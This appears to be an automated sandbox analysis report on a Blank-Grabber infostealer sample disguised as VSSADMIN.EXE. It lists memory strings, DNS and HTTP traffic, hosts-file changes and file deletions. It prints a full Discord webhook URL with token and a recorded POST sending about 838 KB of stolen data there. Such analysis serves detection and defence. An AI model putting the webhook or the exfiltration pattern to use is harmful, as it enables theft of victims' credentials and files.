Source: VSSADMIN.EXE.exe, 00000001.00000003.192120671.0000014C6CCB7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.gofile.io/getServerr
Source: VSSADMIN.EXE.exe, 00000001.00000003.192120671.0000014C6CCB7000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000002.244794206.0000014C6CDB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot
Source: VSSADMIN.EXE.exe, 00000001.00000002.245250730.0000014C6D658000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://blank-2MD3E.in
Source: VSSADMIN.EXE.exe, 00000001.00000003.192780632.0000014C6CC94000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000003.192761325.0000014C6CC6C000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000002.244726303.0000014C6CC54000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000003.192563442.0000014C6CC94000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000003.192539784.0000014C6CCF4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bugs.python.org/issue42195.
Source: VSSADMIN.EXE.exe, 00000001.00000003.244317157.0000014C6CDAB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.discordapp.com/attachments/1125126396101021879/1152337129716842596/Blank-user.rar
Source: VSSADMIN.EXE.exe, 00000001.00000002.245019718.0000014C6D154000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: powershell.exe, 00000025.00000002.222515126.000001FBA3052000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000025.00000002.222515126.000001FBA3052000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000025.00000002.222515126.000001FBA3052000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: VSSADMIN.EXE.exe, 00000000.00000003.188312658.0000024133482000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://d.symcb.com/cps0%
Source: VSSADMIN.EXE.exe, 00000000.00000003.188312658.0000024133482000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://d.symcb.com/rpa0
Source: VSSADMIN.EXE.exe, 00000000.00000003.188312658.0000024133482000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://d.symcb.com/rpa0.
Source: VSSADMIN.EXE.exe, 00000001.00000002.244794206.0000014C6CDB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://discord.com/api/v9/users/
Source: VSSADMIN.EXE.exe, 00000001.00000002.245142886.0000014C6D3F0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://discord.com/api/webhooks/1125357329798418472/yWPfp1iKyx0rkQloEOr9Xk-aX81R6WKX-1QBrT7zz3erb7v
Source: VSSADMIN.EXE.exe, 00000001.00000003.192120671.0000014C6CCB7000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000002.244794206.0000014C6CDB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://discordapp.com/api/v9/users/
Source: VSSADMIN.EXE.exe, 00000001.00000003.192490005.0000014C6CC6C000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000003.192251935.0000014C6CC6C000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000003.190636870.0000014C6CC70000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000003.192761325.0000014C6CC6C000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000003.191866250.0000014C6CC6F000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000003.192576009.0000014C6CC6C000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000003.192002784.0000014C6CC6A000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000002.244726303.0000014C6CC54000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000003.191661797.0000014C6CC6A000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000003.190589554.0000014C6CC70000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000003.191646152.0000014C6CBE7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3.11/library/binascii.html#binascii.a2b_base64
Source: VSSADMIN.EXE.exe, 00000001.00000003.244243794.0000014C6D092000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dotnet.micr
Source: VSSADMIN.EXE.exe, 00000001.00000002.245019718.0000014C6D154000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: VSSADMIN.EXE.exe, 00000001.00000002.245019718.0000014C6D154000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: VSSADMIN.EXE.exe, 00000001.00000002.245019718.0000014C6D154000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: VSSADMIN.EXE.exe, 00000001.00000002.245121622.0000014C6D2C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://foss.heptapod.net/pypy/pypy/-/issues/3539
Source: VSSADMIN.EXE.exe, 00000001.00000002.244872297.0000014C6D074000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000002.244787764.0000014C6CDAD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Blank-c/Blank-Grabber
Source: VSSADMIN.EXE.exe, 00000001.00000003.192120671.0000014C6CCB7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Blank-c/Blank-Grabberi
Source: VSSADMIN.EXE.exe, 00000001.00000003.192120671.0000014C6CCB7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Blank-c/Blank-Grabberr
Source: VSSADMIN.EXE.exe, 00000001.00000003.191981255.0000014C6CCB7000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000003.191835270.0000014C6CD0E000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000003.191900080.0000014C6D2C9000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000003.192066107.0000014C6CD05000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Blank-c/BlankOBF
Source: powershell.exe, 00000025.00000002.213633316.000001FB930A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: VSSADMIN.EXE.exe, 00000001.00000003.189920854.0000014C6ADCA000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000003.189986704.0000014C6ADC9000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000003.190043749.0000014C6ADC9000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000003.190014863.0000014C6ADC9000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000002.244567469.0000014C6AD99000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000003.189933314.0000014C6ADB1000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000002.244567469.0000014C6ADC2000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000003.190159085.0000014C6ADD9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Unidata/MetPy/blob/a3424de66a44bf3a92b0dcacf4dff82ad7b86712/src/metpy/plots/wx_sy
Source: VSSADMIN.EXE.exe, 00000001.00000003.189920854.0000014C6ADCA000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000003.189986704.0000014C6ADC9000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000002.244623924.0000014C6C608000.00000004.00001000.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000003.190043749.0000014C6ADC9000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000003.190014863.0000014C6ADC9000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000003.189933314.0000014C6ADB1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python/cpython/blob/3.9/Lib/importlib/_bootstrap_external.py#L679-L688
Source: VSSADMIN.EXE.exe, 00000001.00000003.190159085.0000014C6ADD9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/abc.py
Source: VSSADMIN.EXE.exe, 00000001.00000003.189920854.0000014C6ADCA000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000003.189986704.0000014C6ADC9000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000003.190043749.0000014C6ADC9000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000003.190014863.0000014C6ADC9000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000002.244567469.0000014C6AD99000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000003.189933314.0000014C6ADB1000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000002.244567469.0000014C6ADC2000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000003.190159085.0000014C6ADD9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/reader
Source: VSSADMIN.EXE.exe, 00000001.00000003.189920854.0000014C6ADCA000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000003.189986704.0000014C6ADC9000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000003.190043749.0000014C6ADC9000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000003.190014863.0000014C6ADC9000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000002.244567469.0000014C6AD99000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000003.189933314.0000014C6ADB1000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000002.244567469.0000014C6ADC2000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000003.190159085.0000014C6ADD9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/tensorflow/datasets/blob/master/tensorflow_datasets/core/utils/resource_utils.py#
Source: VSSADMIN.EXE.exe, 00000001.00000003.192576009.0000014C6CC6C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/urllib3/urllib3/issues/2168
Source: VSSADMIN.EXE.exe, 00000001.00000002.245121622.0000014C6D2C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/urllib3/urllib3/issues/2192#issuecomment-821832963
Source: VSSADMIN.EXE.exe, 00000001.00000002.244726303.0000014C6CC54000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/urllib3/urllib3/issues/2513#issuecomment-1152559900.
Source: VSSADMIN.EXE.exe, 00000001.00000003.192576009.0000014C6CC6C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/urllib3/urllib3/issues/2680
Source: VSSADMIN.EXE.exe, 00000001.00000002.245190782.0000014C6D53C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/urllib3/urllib3/issues/2920
Source: VSSADMIN.EXE.exe, 00000001.00000002.245190782.0000014C6D53C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/urllib3/urllib3/issues/2920P
Source: VSSADMIN.EXE.exe, 00000001.00000003.192576009.0000014C6CC6C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/urllib3/urllib3/issues/3020
Source: powershell.exe, 00000008.00000002.200799345.000001960159C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.200799345.00000196013E6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.200799345.0000019601682000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.200799345.00000196015CF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000025.00000002.213633316.000001FB94965000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: VSSADMIN.EXE.exe, 00000001.00000002.244670872.0000014C6C9B0000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000002.244829623.0000014C6CEB0000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000002.244726303.0000014C6CC54000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://google.com/
Source: VSSADMIN.EXE.exe, 00000001.00000002.244670872.0000014C6C9B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://google.com/mail
Source: VSSADMIN.EXE.exe, 00000001.00000002.244670872.0000014C6C9B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://google.com/mail/
Source: VSSADMIN.EXE.exe, 00000001.00000003.192120671.0000014C6CCB7000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000002.244794206.0000014C6CDB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://gstatic.com/generate_204
Source: VSSADMIN.EXE.exe, 00000001.00000002.245082174.0000014C6D256000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000003.244323782.0000014C6D256000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://html.spec.whatwg.org/multipage/
Source: VSSADMIN.EXE.exe, 00000001.00000002.244726303.0000014C6CC54000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://httpbin.org/
Source: VSSADMIN.EXE.exe, 00000001.00000003.244230392.0000014C6D0A8000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000003.244317157.0000014C6CDAB000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000002.244940177.0000014C6D0A8000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000002.244940177.0000014C6D0BD000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000002.244787764.0000014C6CDAD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://images-ext-1.discordapp.net/external/etSU0hGkd0ttMXA41AUjUl74oI1ajbez8WS2N-KLvK4/https/raw.g
Source: VSSADMIN.EXE.exe, 00000001.00000003.192539784.0000014C6CCF4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://json.org
Source: VSSADMIN.EXE.exe, 00000001.00000003.244317157.0000014C6CDAB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://media.discordapp.net/attachments/1125126396101021879/1152337129716842596/Blank-user.rar
Source: powershell.exe, 00000008.00000002.203170941.000001961006E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000025.00000002.213633316.000001FB930A4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000025.00000002.222515126.000001FBA2F10000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000025.00000002.222515126.000001FBA3052000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: VSSADMIN.EXE.exe, 00000001.00000003.191782438.0000014C6CBDC000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000003.191891921.0000014C6CBD7000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000003.191706435.0000014C6CBD7000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000002.244706685.0000014C6CAB0000.00000004.00001000.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000003.190653423.0000014C6CBDC000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000003.190620855.0000014C6CBDB000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000003.192012033.0000014C6CBDC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://peps.python.org/pep-0205/
Source: VSSADMIN.EXE.exe, 00000001.00000002.245659423.00007FFD402EB000.00000040.00000001.01000000.00000004.sdmp	String found in binary or memory: https://peps.python.org/pep-0263/
Source: VSSADMIN.EXE.exe, 00000001.00000002.245082174.0000014C6D24A000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000002.244787764.0000014C6CDAD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com/Blank-c/Blank-Grabber/main/.github/workflows/image.png
Source: VSSADMIN.EXE.exe, 00000001.00000003.192120671.0000014C6CCB7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com/Blank-c/Blank-Grabber/main/.github/workflows/image.pngz
Source: VSSADMIN.EXE.exe, 00000001.00000002.245019718.0000014C6D154000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://search.yahoo.com/favicon.icohttps://search.yahoo.com/search
Source: VSSADMIN.EXE.exe, 00000001.00000002.245019718.0000014C6D154000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas_sfp&command=
Source: VSSADMIN.EXE.exe, 00000001.00000002.245019718.0000014C6D154000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://search.yahoo.com?fr=crmas_sfp
Source: VSSADMIN.EXE.exe, 00000001.00000002.245019718.0000014C6D154000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://search.yahoo.com?fr=crmas_sfpf
Source: VSSADMIN.EXE.exe, 00000000.00000003.188312658.0000024133482000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sectigo.com/CPS0
Source: VSSADMIN.EXE.exe, 00000001.00000002.244829623.0000014C6CEB0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/rfc2388#section-4.4
Source: VSSADMIN.EXE.exe, 00000001.00000002.244829623.0000014C6CEB0000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000002.244726303.0000014C6CC54000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://twitter.com/
Source: VSSADMIN.EXE.exe, 00000001.00000002.245190782.0000014C6D540000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#https-proxy-error-http-proxy
Source: VSSADMIN.EXE.exe, 00000001.00000002.245190782.0000014C6D51C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#tls-warnings
Source: VSSADMIN.EXE.exe, 00000001.00000002.245055208.0000014C6D1B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#tls-warningsN
Source: VSSADMIN.EXE.exe, 00000001.00000002.245019718.0000014C6D154000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/favicon.ico
Source: VSSADMIN.EXE.exe, 00000000.00000003.188146324.0000024133482000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000002.245994756.00007FFD43FB3000.00000004.00000001.01000000.00000010.sdmp, VSSADMIN.EXE.exe, 00000001.00000002.245643822.00007FFD3FF47000.00000004.00000001.01000000.0000000F.sdmp	String found in binary or memory: https://www.openssl.org/H
Source: VSSADMIN.EXE.exe, 00000001.00000003.189820148.0000014C6C9F5000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000002.244623924.0000014C6C580000.00000004.00001000.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000003.189777515.0000014C6CA10000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000003.189806826.0000014C6CA14000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000003.189777515.0000014C6C9F5000.00000004.00000020.00020000.00000000.sdmp, VSSADMIN.EXE.exe, 00000001.00000003.189789642.0000014C6CA14000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.python.org/download/releases/2.3/mro/.
Source: VSSADMIN.EXE.exe, VSSADMIN.EXE.exe, 00000001.00000002.245659423.00007FFD40388000.00000040.00000001.01000000.00000004.sdmp	String found in binary or memory: https://www.python.org/psf/license/
Source: VSSADMIN.EXE.exe, 00000001.00000002.244670872.0000014C6C9B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://yahoo.com/

Source: unknown

DNS traffic detected: queries for: blank-2md3e.in

Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comAccept-Encoding: identityUser-Agent: python-urllib3/2.0.4
Source: global traffic	HTTP traffic detected: GET /json/?fields=225545 HTTP/1.1Host: ip-api.comAccept-Encoding: identityUser-Agent: python-urllib3/2.0.4

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443

Source: unknown

HTTP traffic detected: POST /api/webhooks/1125357329798418472/yWPfp1iKyx0rkQloEOr9Xk-aX81R6WKX-1QBrT7zz3erb7v9flhr6ifTFvcDhFyRvu2k HTTP/1.1Host: discord.comAccept-Encoding: identityContent-Length: 838652User-Agent: python-urllib3/2.0.4Content-Type: multipart/form-data; boundary=df04b12a7b80d1dae6cbaca19bb29ce2

Spam, unwanted Advertisements and Ransom Demands

Modifies existing user documents (likely ransomware behavior)

Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	File deleted: C:\Users\user\AppData\Local\Temp\ ? ? ? ?\Common Files\Desktop\LTKMYBSEYZ.jpg	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	File deleted: C:\Users\user\AppData\Local\Temp\ ? ? ? ?\Common Files\Desktop\LTKMYBSEYZ.jpg	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	File deleted: C:\Users\user\AppData\Local\Temp\ ? ? ? ?\Common Files\Desktop\ONBQCLYSPU.docx	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	File deleted: C:\Users\user\AppData\Local\Temp\ ? ? ? ?\Common Files\Desktop\ONBQCLYSPU.docx	Jump to behavior
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	File deleted: C:\Users\user\AppData\Local\Temp\ ? ? ? ?\Common Files\Desktop\WUTJSCBCFX.png	Jump to behavior

Modifies the hosts file

Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe

File written: C:\Windows\System32\drivers\etc\hosts

Jump to behavior

Source: cmd.exe

Process created: 45

System Summary

Very long command line found

Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Process created: Commandline size = 3647
Source: C:\Windows\System32\cmd.exe	Process created: Commandline size = 3615
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Process created: Commandline size = 3647	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: Commandline size = 3615

Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Code function: 0_2_00007FF614C95D9C	0_2_00007FF614C95D9C
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Code function: 0_2_00007FF614C94E50	0_2_00007FF614C94E50
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Code function: 0_2_00007FF614C767A0	0_2_00007FF614C767A0
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Code function: 0_2_00007FF614C86744	0_2_00007FF614C86744
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Code function: 0_2_00007FF614C80DE0	0_2_00007FF614C80DE0
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Code function: 0_2_00007FF614C8FA38	0_2_00007FF614C8FA38
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Code function: 0_2_00007FF614C86590	0_2_00007FF614C86590
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Code function: 0_2_00007FF614C92D60	0_2_00007FF614C92D60
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Code function: 0_2_00007FF614C81EA0	0_2_00007FF614C81EA0
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Code function: 0_2_00007FF614C82830	0_2_00007FF614C82830
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Code function: 0_2_00007FF614C86FC8	0_2_00007FF614C86FC8
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Code function: 0_2_00007FF614C80FE4	0_2_00007FF614C80FE4
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Code function: 0_2_00007FF614C84F80	0_2_00007FF614C84F80
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Code function: 0_2_00007FF614C8D748	0_2_00007FF614C8D748
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Code function: 0_2_00007FF614C8D0C8	0_2_00007FF614C8D0C8
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Code function: 0_2_00007FF614C780D0	0_2_00007FF614C780D0
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Code function: 0_2_00007FF614C950CC	0_2_00007FF614C950CC
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Code function: 0_2_00007FF614C86744	0_2_00007FF614C86744
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Code function: 0_2_00007FF614C95850	0_2_00007FF614C95850
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Code function: 0_2_00007FF614C931FC	0_2_00007FF614C931FC
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Code function: 0_2_00007FF614C809D0	0_2_00007FF614C809D0
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Code function: 0_2_00007FF614C811F0	0_2_00007FF614C811F0
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Code function: 0_2_00007FF614C909E4	0_2_00007FF614C909E4
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Code function: 0_2_00007FF614C8FA38	0_2_00007FF614C8FA38
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Code function: 0_2_00007FF614C8CC34	0_2_00007FF614C8CC34
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Code function: 0_2_00007FF614C82C34	0_2_00007FF614C82C34
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Code function: 0_2_00007FF614C88BD0	0_2_00007FF614C88BD0
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Code function: 0_2_00007FF614C80BD4	0_2_00007FF614C80BD4
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Code function: 0_2_00007FF614C813F4	0_2_00007FF614C813F4
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Code function: 0_2_00007FF614C71B90	0_2_00007FF614C71B90
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Code function: 0_2_00007FF614C98B98	0_2_00007FF614C98B98
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Code function: 1_2_00007FF614C95D9C	1_2_00007FF614C95D9C
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Code function: 1_2_00007FF614C80DE0	1_2_00007FF614C80DE0
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Code function: 1_2_00007FF614C8FA38	1_2_00007FF614C8FA38
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Code function: 1_2_00007FF614C86590	1_2_00007FF614C86590
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Code function: 1_2_00007FF614C92D60	1_2_00007FF614C92D60
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Code function: 1_2_00007FF614C81EA0	1_2_00007FF614C81EA0
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Code function: 1_2_00007FF614C94E50	1_2_00007FF614C94E50
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Code function: 1_2_00007FF614C82830	1_2_00007FF614C82830
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Code function: 1_2_00007FF614C86FC8	1_2_00007FF614C86FC8
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Code function: 1_2_00007FF614C80FE4	1_2_00007FF614C80FE4
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Code function: 1_2_00007FF614C84F80	1_2_00007FF614C84F80
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Code function: 1_2_00007FF614C767A0	1_2_00007FF614C767A0
Source: C:\Users\user\Desktop\VSSADMIN.EXE.exe	Code function: 1_2_00007FF614C8D748	1_2_00007FF614C8D748
